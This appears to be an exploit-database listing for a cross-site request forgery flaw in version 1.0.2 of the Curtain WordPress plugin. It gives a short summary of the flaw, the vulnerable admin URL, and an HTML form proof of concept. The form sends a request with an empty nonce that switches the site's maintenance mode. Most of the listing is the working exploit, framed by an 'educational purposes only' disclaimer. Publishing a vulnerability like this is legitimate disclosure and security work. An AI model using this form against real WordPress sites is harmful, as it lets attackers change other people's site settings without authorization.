Wordpress plugin curtain 1.0.2 crosssite request forgery (csrf) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-03-30 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin curtain 1.0.2 crosssite request forgery (csrf) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: WordPress Plugin Curtain 1.0.2 - Cross-site Request Forgery (CSRF)
# Date: 24-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/curtain/
# Version: 1.0.2
# Tested on: Firefox

## Summary:

Cross site forgery vulnerability has been identified in curtain WordPress plugin that allows an attacker to to activate or deactivate sites maintenance mode.

## Vulnerable URL:

http://localhost:10003/wp-admin/options-general.php?page=curtain&_wpnonce=&mode=0

## CSRF POC Exploit

```
<html>
<body>
<form action="http://localhost:10003/wp-admin/options-general.php">
<input type="hidden" name="page" value="curtain" />
<input type="hidden" name="_wpnonce" value="" />
<input type="hidden" name="mode" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```